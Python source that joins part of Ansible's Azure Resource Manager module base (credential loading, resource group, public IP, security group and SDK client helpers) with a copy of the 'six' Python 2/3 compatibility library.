    from msrestazure.azure_exceptions import CloudError
    from azure.mgmt.network.models import PublicIPAddress, NetworkSecurityGroup, SecurityRule, NetworkInterface, \
        NetworkInterfaceIPConfiguration, Subnet
    from azure.common.credentials import ServicePrincipalCredentials, UserPassCredentials
    from azure.mgmt.network.version import VERSION as network_client_version
    from azure.mgmt.storage.version import VERSION as storage_client_version
    from azure.mgmt.compute.version import VERSION as compute_client_version
    from azure.mgmt.resource.version import VERSION as resource_client_version
    from azure.mgmt.network.network_management_client import NetworkManagementClient
    from azure.mgmt.resource.resources.resource_management_client import ResourceManagementClient
    from azure.mgmt.storage.storage_management_client import StorageManagementClient
    from azure.mgmt.compute.compute_management_client import ComputeManagementClient
    from azure.storage.cloudstorageaccount import CloudStorageAccount
except ImportError as exc:
    HAS_AZURE_EXC = exc
    HAS_AZURE = False


def azure_id_to_dict(id):
    pieces = re.sub(r'^\/', '', id).split('/')
    result = {}
    index = 0
    while index < len(pieces) - 1:
        result[pieces[index]] = pieces[index + 1]
        index += 1
    return result


AZURE_EXPECTED_VERSIONS = dict(
    storage_client_version="0.30.0rc5",
    compute_client_version="0.30.0rc5",
    network_client_version="0.30.0rc5",
    resource_client_version="0.30.0rc5"
)

AZURE_MIN_RELEASE = '2.0.0rc5'


def check_client_version(client_name, client_version, expected_version):
    # Pinning Azure modules to 2.0.0rc5.
    if LooseVersion(client_version) != LooseVersion(expected_version):
            self.fail("Installed {0} client version is {1}. The supported version is {2}. Try "
                      "`pip install azure=={3}`".format(client_name, client_version, expected_version,
                                                        AZURE_MIN_RELEASE))

class AzureRMModuleBase(object):

    def __init__(self, derived_arg_spec, bypass_checks=False, no_log=False,
                 check_invalid_arguments=True, mutually_exclusive=None, required_together=None,
                 required_one_of=None, add_file_common_args=False, supports_check_mode=False,
                 required_if=None, supports_tags=True, facts_module=False):

        merged_arg_spec = dict()
        merged_arg_spec.update(AZURE_COMMON_ARGS)
        if supports_tags:
            merged_arg_spec.update(AZURE_TAG_ARGS)

        if derived_arg_spec:
            merged_arg_spec.update(derived_arg_spec)

        merged_required_if = list(AZURE_COMMON_REQUIRED_IF)
        if required_if:
            merged_required_if += required_if

        self.module = AnsibleModule(argument_spec=merged_arg_spec,
                                    bypass_checks=bypass_checks,
                                    no_log=no_log,
                                    check_invalid_arguments=check_invalid_arguments,
                                    mutually_exclusive=mutually_exclusive,
                                    required_together=required_together,
                                    required_one_of=required_one_of,
                                    add_file_common_args=add_file_common_args,
                                    supports_check_mode=supports_check_mode,
                                    required_if=merged_required_if)

        if not HAS_AZURE:
            self.fail("Do you have azure=={1} installed? Try `pip install azure=={1}`"
                      "- {0}".format(HAS_AZURE_EXC, AZURE_MIN_RELEASE))

        self._network_client = None
        self._storage_client = None
        self._resource_client = None
        self._compute_client = None
        self.check_mode = self.module.check_mode
        self.facts_module = facts_module
        # self.debug = self.module.params.get('debug')

        # authenticate
        self.credentials = self._get_credentials(self.module.params)
        if not self.credentials:
            self.fail("Failed to get credentials. Either pass as parameters, set environment variables, "
                      "or define a profile in ~/.azure/credentials.")

        if self.credentials.get('subscription_id', None) is None:
            self.fail("Credentials did not include a subscription_id value.")
        self.log("setting subscription_id")
        self.subscription_id = self.credentials['subscription_id']

        if self.credentials.get('client_id') is not None and \
           self.credentials.get('secret') is not None and \
           self.credentials.get('tenant') is not None:
            self.azure_credentials = ServicePrincipalCredentials(client_id=self.credentials['client_id'],
                                                                 secret=self.credentials['secret'],
                                                                 tenant=self.credentials['tenant'])
        elif self.credentials.get('ad_user') is not None and self.credentials.get('password') is not None:
            self.azure_credentials = UserPassCredentials(self.credentials['ad_user'], self.credentials['password'])
        else:
            self.fail("Failed to authenticate with provided credentials. Some attributes were missing. "
                      "Credentials must include client_id, secret and tenant or ad_user and password.")

        # common parameter validation
        if self.module.params.get('tags'):
            self.validate_tags(self.module.params['tags'])

        res = self.exec_module(**self.module.params)
        self.module.exit_json(**res)

    def exec_module(self, **kwargs):
        self.fail("Error: {0} failed to implement exec_module method.".format(self.__class__.__name__))

    def fail(self, msg, **kwargs):
        '''
        Shortcut for calling module.fail()

        :param msg: Error message text.
        :param kwargs: Any key=value pairs
        :return: None
        '''
        self.module.fail_json(msg=msg, **kwargs)

    def log(self, msg, pretty_print=False):
        pass
        # Use only during module development
        #if self.debug:
        #    log_file = open('azure_rm.log', 'a')
        #   if pretty_print:
        #         log_file.write(json.dumps(msg, indent=4, sort_keys=True))
        #    else:
        #         log_file.write(msg + u'\n')

    def validate_tags(self, tags):
        '''
        Check if tags dictionary contains string:string pairs.

        :param tags: dictionary of string:string pairs
        :return: None
        '''
        if not self.facts_module:
            if not isinstance(tags, dict):
                self.fail("Tags must be a dictionary of string:string values.")
            for key, value in tags.items():
                if not isinstance(value, str):
                    self.fail("Tags values must be strings. Found {0}:{1}".format(str(key), str(value)))

    def update_tags(self, tags):
        '''
        Call from the module to update metadata tags. Returns tuple
        with bool indicating if there was a change and dict of new
        tags to assign to the object.

        :param tags: metadata tags from the object
        :return: bool, dict
        '''
        new_tags = copy.copy(tags) if isinstance(tags, dict) else dict()
        changed = False
        if isinstance(self.module.params.get('tags'), dict):
            for key, value in self.module.params['tags'].iteritems():
                if not new_tags.get(key) or new_tags[key] != value:
                    changed = True
                    new_tags[key] = value
            if isinstance(tags, dict):
                for key, value in tags.iteritems():
                    if not self.module.params['tags'].get(key):
                        new_tags.pop(key)
                        changed = True
        return changed, new_tags

    def has_tags(self, obj_tags, tag_list):
        '''
        Used in fact modules to compare object tags to list of parameter tags. Return true if list of parameter tags
        exists in object tags.

        :param obj_tags: dictionary of tags from an Azure object.
        :param tag_list: list of tag keys or tag key:value pairs
        :return: bool
        '''

        if not obj_tags and tag_list:
            return False

        if not tag_list:
            return True

        matches = 0
        result = False
        for tag in tag_list:
            tag_key = tag
            tag_value = None
            if ':' in tag:
                tag_key, tag_value = tag.split(':')
            if tag_value and obj_tags.get(tag_key) == tag_value:
                matches += 1
            elif not tag_value and obj_tags.get(tag_key):
                matches += 1
        if matches == len(tag_list):
            result = True
        return result

    def get_resource_group(self, resource_group):
        '''
        Fetch a resource group.

        :param resource_group: name of a resource group
        :return: resource group object
        '''
        try:
            return self.rm_client.resource_groups.get(resource_group)
        except CloudError:
            self.fail("Parameter error: resource group {0} not found".format(resource_group))
        except Exception as exc:
            self.fail("Error retrieving resource group {0} - {1}".format(resource_group, str(exc)))

    def _get_profile(self, profile="default"):
        path = expanduser("~/.azure/credentials")
        try:
            config = ConfigParser.ConfigParser()
            config.read(path)
        except Exception as exc:
            self.fail("Failed to access {0}. Check that the file exists and you have read "
                      "access. {1}".format(path, str(exc)))
        credentials = dict()
        for key in AZURE_CREDENTIAL_ENV_MAPPING:
            try:
                credentials[key] = config.get(profile, key, raw=True)
            except:
                pass

        if credentials.get('subscription_id'):
            return credentials

        return None

    def _get_env_credentials(self):
        env_credentials = dict()
        for attribute, env_variable in AZURE_CREDENTIAL_ENV_MAPPING.iteritems():
            env_credentials[attribute] = os.environ.get(env_variable, None)

        if env_credentials['profile']:
            credentials = self._get_profile(env_credentials['profile'])
            return credentials

        if env_credentials.get('subscription_id') is not None:
            return env_credentials

        return None

    def _get_credentials(self, params):
        # Get authentication credentials.
        # Precedence: module parameters-> environment variables-> default profile in ~/.azure/credentials.
        
        self.log('Getting credentials')

        arg_credentials = dict()
        for attribute, env_variable in AZURE_CREDENTIAL_ENV_MAPPING.iteritems():
            arg_credentials[attribute] = params.get(attribute, None)

        # try module params
        if arg_credentials['profile'] is not None:
            self.log('Retrieving credentials with profile parameter.')
            credentials = self._get_profile(arg_credentials['profile'])
            return credentials
        
        if arg_credentials['subscription_id']:
            self.log('Received credentials from parameters.')
            return arg_credentials
        
        # try environment
        env_credentials = self._get_env_credentials()
        if env_credentials:
            self.log('Received credentials from env.')
            return env_credentials

        # try default profile from ~./azure/credentials
        default_credentials = self._get_profile()
        if default_credentials:
            self.log('Retrieved default profile credentials from ~/.azure/credentials.')
            return default_credentials

        return None

    def serialize_obj(self, obj, class_name, enum_modules=[]):
        '''
        Return a JSON representation of an Azure object.

        :param obj: Azure object
        :param class_name: Name of the object's class
        :param enum_modules: List of module names to build enum dependencies from.
        :return: serialized result
        '''
        dependencies = dict()
        if enum_modules:
            for module_name in enum_modules:  
               mod = importlib.import_module(module_name)
               for mod_class_name, mod_class_obj in inspect.getmembers(mod, predicate=inspect.isclass):
                   dependencies[mod_class_name] = mod_class_obj 
            self.log("dependencies: ");
            self.log(str(dependencies))
        serializer = Serializer(classes=dependencies)
        return serializer.body(obj, class_name)

    def get_poller_result(self, poller, wait=5):
        '''
        Consistent method of waiting on and retrieving results from Azure's long poller

        :param poller Azure poller object
        :return object resulting from the original request
        '''
        try:
            delay = wait
            while not poller.done():
                self.log("Waiting for {0} sec".format(delay))
                poller.wait(timeout=delay)
            return poller.result()
        except Exception as exc:
            self.log(str(exc))
            raise

    def check_provisioning_state(self, azure_object, requested_state='present'):
        '''
        Check an Azure object's provisioning state. If something did not complete the provisioning
        process, then we cannot operate on it.

        :param azure_object An object such as a subnet, storageaccount, etc. Must have provisioning_state
                            and name attributes.
        :return None
        '''

        if hasattr(azure_object, 'properties') and hasattr(azure_object.properties, 'provisioning_state') and \
           hasattr(azure_object, 'name'):
            # resource group object fits this model
            if isinstance(azure_object.properties.provisioning_state, Enum):
                if azure_object.properties.provisioning_state.value != AZURE_SUCCESS_STATE and \
                   requested_state != 'absent':
                    self.fail("Error {0} has a provisioning state of {1}. Expecting state to be {2}.".format(
                              azure_object.name, azure_object.properties.provisioning_state, AZURE_SUCCESS_STATE))
                return
            if azure_object.properties.provisioning_state != AZURE_SUCCESS_STATE and \
               requested_state != 'absent':
                self.fail("Error {0} has a provisioning state of {1}. Expecting state to be {2}.".format(
                    azure_object.name, azure_object.properties.provisioning_state, AZURE_SUCCESS_STATE))
            return

        if hasattr(azure_object, 'provisioning_state') or not hasattr(azure_object, 'name'):
            if isinstance(azure_object.provisioning_state, Enum):
                if azure_object.provisioning_state.value != AZURE_SUCCESS_STATE and requested_state != 'absent':
                    self.fail("Error {0} has a provisioning state of {1}. Expecting state to be {2}.".format(
                        azure_object.name, azure_object.provisioning_state, AZURE_SUCCESS_STATE))
                return
            if azure_object.provisioning_state != AZURE_SUCCESS_STATE and requested_state != 'absent':
                self.fail("Error {0} has a provisioning state of {1}. Expecting state to be {2}.".format(
                    azure_object.name, azure_object.provisioning_state, AZURE_SUCCESS_STATE))

    def get_blob_client(self, resource_group_name, storage_account_name):
        keys = dict()
        try:
            # Get keys from the storage account
            self.log('Getting keys')
            account_keys = self.storage_client.storage_accounts.list_keys(resource_group_name, storage_account_name)
        except Exception as exc:
            self.fail("Error getting keys for account {0} - {1}".format(storage_account_name, str(exc)))

        try:
            self.log('Create blob service')
            return CloudStorageAccount(storage_account_name, account_keys.keys[0].value).create_block_blob_service()
        except Exception as exc:
            self.fail("Error creating blob service client for storage account {0} - {1}".format(storage_account_name,
                                                                                                str(exc)))

    def create_default_pip(self, resource_group, location, name, allocation_method='Dynamic'):
        '''
        Create a default public IP address <name>01 to associate with a network interface.
        If a PIP address matching <vm name>01 exists, return it. Otherwise, create one.

        :param resource_group: name of an existing resource group
        :param location: a valid azure location
        :param name: base name to assign the public IP address
        :param allocation_method: one of 'Static' or 'Dynamic'
        :return: PIP object
        '''
        public_ip_name = name + '01'
        pip = None

        self.log("Starting create_default_pip {0}".format(public_ip_name))
        self.log("Check to see if public IP {0} exists".format(public_ip_name))
        try:
            pip = self.network_client.public_ip_addresses.get(resource_group, public_ip_name)
        except CloudError:
            pass

        if pip:
            self.log("Public ip {0} found.".format(public_ip_name))
            self.check_provisioning_state(pip)
            return pip

        params = PublicIPAddress(
            location=location,
            public_ip_allocation_method=allocation_method,
        )
        self.log('Creating default public IP {0}'.format(public_ip_name))
        try:
            poller = self.network_client.public_ip_addresses.create_or_update(resource_group, public_ip_name, params)
        except Exception as exc:
            self.fail("Error creating {0} - {1}".format(public_ip_name, str(exc)))

        return self.get_poller_result(poller)

    def create_default_securitygroup(self, resource_group, location, name, os_type, open_ports):
        '''
        Create a default security group <name>01 to associate with a network interface. If a security group matching
        <name>01 exists, return it. Otherwise, create one.

        :param resource_group: Resource group name
        :param location: azure location name
        :param name: base name to use for the security group
        :param os_type: one of 'Windows' or 'Linux'. Determins any default rules added to the security group.
        :param ssh_port: for os_type 'Linux' port used in rule allowing SSH access.
        :param rdp_port: for os_type 'Windows' port used in rule allowing RDP access.
        :return: security_group object
        '''
        security_group_name = name + '01'
        group = None

        self.log("Create security group {0}".format(security_group_name))
        self.log("Check to see if security group {0} exists".format(security_group_name))
        try:
            group = self.network_client.network_security_groups.get(resource_group, security_group_name)
        except CloudError:
            pass

        if group:
            self.log("Security group {0} found.".format(security_group_name))
            self.check_provisioning_state(group)
            return group

        parameters = NetworkSecurityGroup()
        parameters.location = location

        if not open_ports:
            # Open default ports based on OS type
            if os_type == 'Linux':
                # add an inbound SSH rule
                parameters.security_rules = [
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow SSH Access',
                                 source_port_range='*', destination_port_range='22', priority=100, name='SSH')
                ]
                parameters.location = location
            else:
                # for windows add inbound RDP and WinRM rules
                parameters.security_rules = [
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow RDP port 3389',
                                 source_port_range='*', destination_port_range='3389', priority=100, name='RDP01'),
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', description='Allow WinRM HTTPS port 5986',
                                 source_port_range='*', destination_port_range='5986', priority=101, name='WinRM01'),
                ]
        else:
            # Open custom ports
            parameters.security_rules = []
            priority = 100
            for port in open_ports:
                priority += 1
                rule_name = "Rule_{0}".format(priority)
                parameters.security_rules.append(
                    SecurityRule('Tcp', '*', '*', 'Allow', 'Inbound', source_port_range='*',
                                 destination_port_range=str(port), priority=priority, name=rule_name)
                )

        self.log('Creating default security group {0}'.format(security_group_name))
        try:
            poller = self.network_client.network_security_groups.create_or_update(resource_group,
                                                                                  security_group_name,
                                                                                  parameters)
        except Exception as exc:
            self.fail("Error creating default security rule {0} - {1}".format(security_group_name, str(exc)))

        return self.get_poller_result(poller)

    def _register(self, key):
        try:
            # We have to perform the one-time registration here. Otherwise, we receive an error the first
            # time we attempt to use the requested client.
            resource_client = self.rm_client
            resource_client.providers.register(key)
        except Exception as exc:
            self.fail("One-time registration of {0} failed - {1}".format(key, str(exc)))

    @property
    def storage_client(self):
        self.log('Getting storage client...')
        if not self._storage_client:
            check_client_version('storage', storage_client_version, AZURE_EXPECTED_VERSIONS['storage_client_version'])
            self._storage_client = StorageManagementClient(self.azure_credentials, self.subscription_id)
            self._register('Microsoft.Storage')
        return self._storage_client

    @property
    def network_client(self):
        self.log('Getting network client')
        if not self._network_client:
            check_client_version('network', network_client_version, AZURE_EXPECTED_VERSIONS['network_client_version'])
            self._network_client = NetworkManagementClient(self.azure_credentials, self.subscription_id)
            self._register('Microsoft.Network')
        return self._network_client

    @property
    def rm_client(self):
        self.log('Getting resource manager client')
        if not self._resource_client:
            check_client_version('resource', resource_client_version, AZURE_EXPECTED_VERSIONS['resource_client_version'])
            self._resource_client = ResourceManagementClient(self.azure_credentials, self.subscription_id)
        return self._resource_client

    @property
    def compute_client(self):
        self.log('Getting compute client')
        if not self._compute_client:
            check_client_version('compute', compute_client_version, AZURE_EXPECTED_VERSIONS['compute_client_version'])
            self._compute_client = ComputeManagementClient(self.azure_credentials, self.subscription_id)
            self._register('Microsoft.Compute')
        return self._compute_client






"""Utilities for writing code that runs on Python 2 and 3"""

# Copyright (c) 2010-2013 Benjamin Peterson
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

import operator
import sys
import types

__author__ = "Benjamin Peterson <benjamin@python.org>"
__version__ = "1.4.1"


# Useful for very coarse version differentiation.
PY2 = sys.version_info[0] == 2
PY3 = sys.version_info[0] == 3

if PY3:
    string_types = str,
    integer_types = int,
    class_types = type,
    text_type = str
    binary_type = bytes

    MAXSIZE = sys.maxsize
else:
    string_types = basestring,
    integer_types = (int, long)
    class_types = (type, types.ClassType)
    text_type = unicode
    binary_type = str

    if sys.platform.startswith("java"):
        # Jython always uses 32 bits.
        MAXSIZE = int((1 << 31) - 1)
    else:
        # It's possible to have sizeof(long) != sizeof(Py_ssize_t).
        class X(object):
            def __len__(self):
                return 1 << 31
        try:
            len(X())
        except OverflowError:
            # 32-bit
            MAXSIZE = int((1 << 31) - 1)
        else:
            # 64-bit
            MAXSIZE = int((1 << 63) - 1)
        del X


def _add_doc(func, doc):
    """Add documentation to a function."""
    func.__doc__ = doc


def _import_module(name):
    """Import module, returning the module after the last dot."""
    __import__(name)
    return sys.modules[name]


class _LazyDescr(object):

    def __init__(self, name):
        self.name = name

    def __get__(self, obj, tp):
        result = self._resolve()
        setattr(obj, self.name, result)
        # This is a bit ugly, but it avoids running this again.
        delattr(tp, self.name)
        return result


class MovedModule(_LazyDescr):

    def __init__(self, name, old, new=None):
        super(MovedModule, self).__init__(name)
        if PY3:
            if new is None:
                new = name
            self.mod = new
        else:
            self.mod = old

    def _resolve(self):
        return _import_module(self.mod)


class MovedAttribute(_LazyDescr):

    def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None):
        super(MovedAttribute, self).__init__(name)
        if PY3:
            if new_mod is None:
                new_mod = name
            self.mod = new_mod
            if new_attr is None:
                if old_attr is None:
                    new_attr = name
                else:
                    new_attr = old_attr
            self.attr = new_attr
        else:
            self.mod = old_mod
            if old_attr is None:
                old_attr = name
            self.attr = old_attr

    def _resolve(self):
        module = _import_module(self.mod)
        return getattr(module, self.attr)



class _MovedItems(types.ModuleType):
    """Lazy loading of moved objects"""


_moved_attributes = [
    MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"),
    MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"),
    MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"),
    MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"),
    MovedAttribute("map", "itertools", "builtins", "imap", "map"),
    MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("reload_module", "__builtin__", "imp", "reload"),
    MovedAttribute("reduce", "__builtin__", "functools"),
    MovedAttribute("StringIO", "StringIO", "io"),
    MovedAttribute("UserString", "UserString", "collections"),
    MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"),
    MovedAttribute("zip", "itertools", "builtins", "izip", "zip"),
    MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"),

    MovedModule("builtins", "__builtin__"),
    MovedModule("configparser", "ConfigParser"),
    MovedModule("copyreg", "copy_reg"),
    MovedModule("http_cookiejar", "cookielib", "http.cookiejar"),
    MovedModule("http_cookies", "Cookie", "http.cookies"),
    MovedModule("html_entities", "htmlentitydefs", "html.entities"),
    MovedModule("html_parser", "HTMLParser", "html.parser"),
    MovedModule("http_client", "httplib", "http.client"),
    MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"),
    MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"),
    MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"),
    MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"),
    MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"),
    MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"),
    MovedModule("cPickle", "cPickle", "pickle"),
    MovedModule("queue", "Queue"),
    MovedModule("reprlib", "repr"),
    MovedModule("socketserver", "SocketServer"),
    MovedModule("tkinter", "Tkinter"),
    MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"),
    MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"),
    MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"),
    MovedModule("tkinter_tix", "Tix", "tkinter.tix"),
    MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"),
    MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"),
    MovedModule("tkinter_colorchooser", "tkColorChooser",
                "tkinter.colorchooser"),
    MovedModule("tkinter_commondialog", "tkCommonDialog",
                "tkinter.commondialog"),
    MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"),
    MovedModule("tkinter_font", "tkFont", "tkinter.font"),
    MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"),
    MovedModule("tkinter_tksimpledialog", "tkSimpleDialog",
                "tkinter.simpledialog"),
    MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"),
    MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"),
    MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"),
    MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"),
    MovedModule("winreg", "_winreg"),
]
for attr in _moved_attributes:
    setattr(_MovedItems, attr.name, attr)
del attr

moves = sys.modules[__name__ + ".moves"] = _MovedItems(__name__ + ".moves")



class Module_six_moves_urllib_parse(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_parse"""


_urllib_parse_moved_attributes = [
    MovedAttribute("ParseResult", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qs", "urlparse", "urllib.parse"),
    MovedAttribute("parse_qsl", "urlparse", "urllib.parse"),
    MovedAttribute("urldefrag", "urlparse", "urllib.parse"),
    MovedAttribute("urljoin", "urlparse", "urllib.parse"),
    MovedAttribute("urlparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlsplit", "urlparse", "urllib.parse"),
    MovedAttribute("urlunparse", "urlparse", "urllib.parse"),
    MovedAttribute("urlunsplit", "urlparse", "urllib.parse"),
    MovedAttribute("quote", "urllib", "urllib.parse"),
    MovedAttribute("quote_plus", "urllib", "urllib.parse"),
    MovedAttribute("unquote", "urllib", "urllib.parse"),
    MovedAttribute("unquote_plus", "urllib", "urllib.parse"),
    MovedAttribute("urlencode", "urllib", "urllib.parse"),
]
for attr in _urllib_parse_moved_attributes:
    setattr(Module_six_moves_urllib_parse, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_parse"] = Module_six_moves_urllib_parse(__name__ + ".moves.urllib_parse")
sys.modules[__name__ + ".moves.urllib.parse"] = Module_six_moves_urllib_parse(__name__ + ".moves.urllib.parse")


class Module_six_moves_urllib_error(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_error"""


_urllib_error_moved_attributes = [
    MovedAttribute("URLError", "urllib2", "urllib.error"),
    MovedAttribute("HTTPError", "urllib2", "urllib.error"),
    MovedAttribute("ContentTooShortError", "urllib", "urllib.error"),
]
for attr in _urllib_error_moved_attributes:
    setattr(Module_six_moves_urllib_error, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_error"] = Module_six_moves_urllib_error(__name__ + ".moves.urllib_error")
sys.modules[__name__ + ".moves.urllib.error"] = Module_six_moves_urllib_error(__name__ + ".moves.urllib.error")


class Module_six_moves_urllib_request(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_request"""


_urllib_request_moved_attributes = [
    MovedAttribute("urlopen", "urllib2", "urllib.request"),
    MovedAttribute("install_opener", "urllib2", "urllib.request"),
    MovedAttribute("build_opener", "urllib2", "urllib.request"),
    MovedAttribute("pathname2url", "urllib", "urllib.request"),
    MovedAttribute("url2pathname", "urllib", "urllib.request"),
    MovedAttribute("getproxies", "urllib", "urllib.request"),
    MovedAttribute("Request", "urllib2", "urllib.request"),
    MovedAttribute("OpenerDirector", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDefaultErrorHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPRedirectHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPCookieProcessor", "urllib2", "urllib.request"),
    MovedAttribute("ProxyHandler", "urllib2", "urllib.request"),
    MovedAttribute("BaseHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgr", "urllib2", "urllib.request"),
    MovedAttribute("HTTPPasswordMgrWithDefaultRealm", "urllib2", "urllib.request"),
    MovedAttribute("AbstractBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyBasicAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("AbstractDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("ProxyDigestAuthHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPSHandler", "urllib2", "urllib.request"),
    MovedAttribute("FileHandler", "urllib2", "urllib.request"),
    MovedAttribute("FTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"),
    MovedAttribute("UnknownHandler", "urllib2", "urllib.request"),
    MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"),
    MovedAttribute("urlretrieve", "urllib", "urllib.request"),
    MovedAttribute("urlcleanup", "urllib", "urllib.request"),
    MovedAttribute("URLopener", "urllib", "urllib.request"),
    MovedAttribute("FancyURLopener", "urllib", "urllib.request"),
]
for attr in _urllib_request_moved_attributes:
    setattr(Module_six_moves_urllib_request, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_request"] = Module_six_moves_urllib_request(__name__ + ".moves.urllib_request")
sys.modules[__name__ + ".moves.urllib.request"] = Module_six_moves_urllib_request(__name__ + ".moves.urllib.request")


class Module_six_moves_urllib_response(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_response"""


_urllib_response_moved_attributes = [
    MovedAttribute("addbase", "urllib", "urllib.response"),
    MovedAttribute("addclosehook", "urllib", "urllib.response"),
    MovedAttribute("addinfo", "urllib", "urllib.response"),
    MovedAttribute("addinfourl", "urllib", "urllib.response"),
]
for attr in _urllib_response_moved_attributes:
    setattr(Module_six_moves_urllib_response, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_response"] = Module_six_moves_urllib_response(__name__ + ".moves.urllib_response")
sys.modules[__name__ + ".moves.urllib.response"] = Module_six_moves_urllib_response(__name__ + ".moves.urllib.response")


class Module_six_moves_urllib_robotparser(types.ModuleType):
    """Lazy loading of moved objects in six.moves.urllib_robotparser"""


_urllib_robotparser_moved_attributes = [
    MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"),
]
for attr in _urllib_robotparser_moved_attributes:
    setattr(Module_six_moves_urllib_robotparser, attr.name, attr)
del attr

sys.modules[__name__ + ".moves.urllib_robotparser"] = Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib_robotparser")
sys.modules[__name__ + ".moves.urllib.robotparser"] = Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser")


class Module_six_moves_urllib(types.ModuleType):
    """Create a six.moves.urllib namespace that resembles the Python 3 namespace"""
    parse = sys.modules[__name__ + ".moves.urllib_parse"]
    error = sys.modules[__name__ + ".moves.urllib_error"]
    request = sys.modules[__name__ + ".moves.urllib_request"]
    response = sys.modules[__name__ + ".moves.urllib_response"]
    robotparser = sys.modules[__name__ + ".moves.urllib_robotparser"]


sys.modules[__name__ + ".moves.urllib"] = Module_six_moves_urllib(__name__ + ".moves.urllib")


def add_move(move):
    """Add an item to six.moves."""
    setattr(_MovedItems, move.name, move)


def remove_move(name):
    """Remove item from six.moves."""
    try:
        delattr(_MovedItems, name)
    except AttributeError:
        try:
            del moves.__dict__[name]
        except KeyError:
            raise AttributeError("no such move, %r" % (name,))


if PY3:
    _meth_func = "__func__"
    _meth_self = "__self__"

    _func_closure = "__closure__"
    _func_code = "__code__"
    _func_defaults = "__defaults__"
    _func_globals = "__globals__"

    _iterkeys = "keys"
    _itervalues = "values"
    _iteritems = "items"
    _iterlists = "lists"
else:
    _meth_func = "im_func"
    _meth_self = "im_self"

    _func_closure = "func_closure"
    _func_code = "func_code"
    _func_defaults = "func_defaults"
    _func_globals = "func_globals"

    _iterkeys = "iterkeys"
    _itervalues = "itervalues"
    _iteritems = "iteritems"
    _iterlists = "iterlists"


try:
    advance_iterator = next
except NameError:
    def advance_iterator(it):
        return it.next()
next = advance_iterator


try:
    callable = callable
except NameError:
    def callable(obj):
        return any("__call__" in klass.__dict__ for klass in type(obj).__mro__)


if PY3:
    def get_unbound_function(unbound):
        return unbound

    create_bound_method = types.MethodType

    Iterator = object
else:
    def get_unbound_function(unbound):
        return unbound.im_func

    def create_bound_method(func, obj):
        return types.MethodType(func, obj, obj.__class__)

    class Iterator(object):

        def next(self):
            return type(self).__next__(self)

    callable = callable
_add_doc(get_unbound_function,
         """Get the function out of a possibly unbound function""")


get_method_function = operator.attrgetter(_meth_func)
